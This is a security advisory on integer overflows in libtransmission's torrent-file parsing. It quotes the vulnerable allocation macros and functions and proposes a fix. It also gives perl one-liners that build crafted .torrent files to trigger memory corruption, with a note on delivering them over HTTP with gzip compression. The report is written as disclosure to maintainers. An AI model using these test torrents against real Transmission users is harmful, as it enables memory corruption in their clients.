📄 Transmission Torrent Parsing Integer Overflows

I took a look at torrent file parsing in libtransmission, there are a few integer overflows because the tr_new/tr_new0 allocation wrappers don't handle overflow.
    
    #define tr_new(struct_type, n_structs) \
    ((struct_type *) tr_malloc (sizeof (struct_type) * ((size_t)(n_structs))))
    
    #define tr_new0(struct_type, n_structs) \
    ((struct_type *) tr_malloc0 (sizeof (struct_type) * ((size_t)(n_structs))))
    
    #define tr_renew(struct_type, mem, n_structs) \
    ((struct_type *) tr_realloc ((mem), sizeof (struct_type) * ((size_t)(n_structs))))
    
    Here is one example when parsing the files dictionary:
    
    static const char*
    parseFiles (tr_info * inf, tr_variant * files, const tr_variant * length)
    {
    int64_t len;
    ...
    inf->isFolder = true;
    inf->fileCount = tr_variantListSize (files);
    inf->files = tr_new0 (tr_file, inf->fileCount); <--
    
    Here fileCount is just the number of elements in a list, you can make a list containing empty dictionaries like this "ldededededede...e".
    
    Here are a few more:
    
    static const char*
    getannounce (tr_info * inf, tr_variant * meta)
    {
    ...
    for (i=0; i<numTiers; i++)
    n += tr_variantListSize (tr_variantListChild (tiers, i));
    
       trackers = tr_new0 (tr_tracker_info, n); <--  
    
    static void
    geturllist (tr_info * inf, tr_variant * meta)
    {
    ...
    const int n = tr_variantListSize (urls);
    
      inf->webseedCount = 0;  
      inf->webseeds = tr_new0 (char\*, n); <--  
    
    static const char*
    tr_metainfoParseImpl (const tr_session * session,
    tr_info * inf,
    bool * hasInfoDict,
    size_t * infoDictLength,
    const tr_variant * meta_in)
    ...
    inf->pieceCount = len / SHA_DIGEST_LENGTH;
    inf->pieces = tr_new0 (tr_piece, inf->pieceCount); <--
    
    Because these are macros, I'm not sure how you would prefer to fix these. If you want to keep the macros, you could write them like this:
    
    #define tr_new(struct_type, n_structs) \
    ((struct_type*)((SIZE_MAX / sizeof(struct_type)) > n_structs) ? NULL : tr_malloc(sizeof(struct_type) * (size_t)(n_structs)))
    
    They're getting a little bit unwieldy though, and now evaluate n_structs more than once, so maybe inline static functions would be better.
    
    Another bug, containerReserve() doesn't check for integer overflow or allocation failure:
    
    static void
    containerReserve (tr_variant * v, size_t count)
    {
    ...
    v->val.l.vals = tr_renew (tr_variant, v->val.l.vals, n); <---
    v->val.l.alloc = n;
    ...
    }
    
    Another bug is that tr_sha1 uses signed integers for length, rather than size_t:
    
    bool
    tr_sha1 (uint8_t * hash,
    const void * data1,
    int data1_length,
    ...)
    
    This can cause memory corruption with very large torrents.
    
    Here are some simple testcase for 32bit systems:
    
    $ perl -e 'print "d4:infod4:name4:name12:piece lengthi1e5:filesl","d4:pathl4:filee6:lengthi1ee","de"x107374183,"e","6:pieces0:ee"' > overflow.torrent
    $ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee6:pieces20:AAAAAAAAAAAAAAAAAAAAe13:announce-listl","l7:udp://0","0:"x134217728,"eee"' > overflow.torrent
    
    This would make a torrent that's a 100MB or so, but would compress really well over gzip Content-Encoding.
    
    Here is a testcase for a 64bit system, note that because of another bug in tr_loadFile you can't open very large torrents with transmission-cli (they get truncated), but you can just pass a http link to it instead:
    
    $ perl -e 'print "d4:infod4:name4:root12:piece lengthi1e5:filesld4:pathl4:filee6:lengthi1eee","6:pieces2684354560:","A"x2684354560,"ee"' > test.torrent
    $ python -m SimpleHTTPServer 8080 &
    $ transmission-cli http://localhost:8080/test.torrent
    
    The transfer can be compressed to make it a manageable size, it's about 2G otherwise.
    
    This bug is subject to a 90 day disclosure deadline. After 90 days elapse
    or a patch has been made broadly available, the bug report will become
    visible to the public.
    
    
    Credit: Tavis Ormandy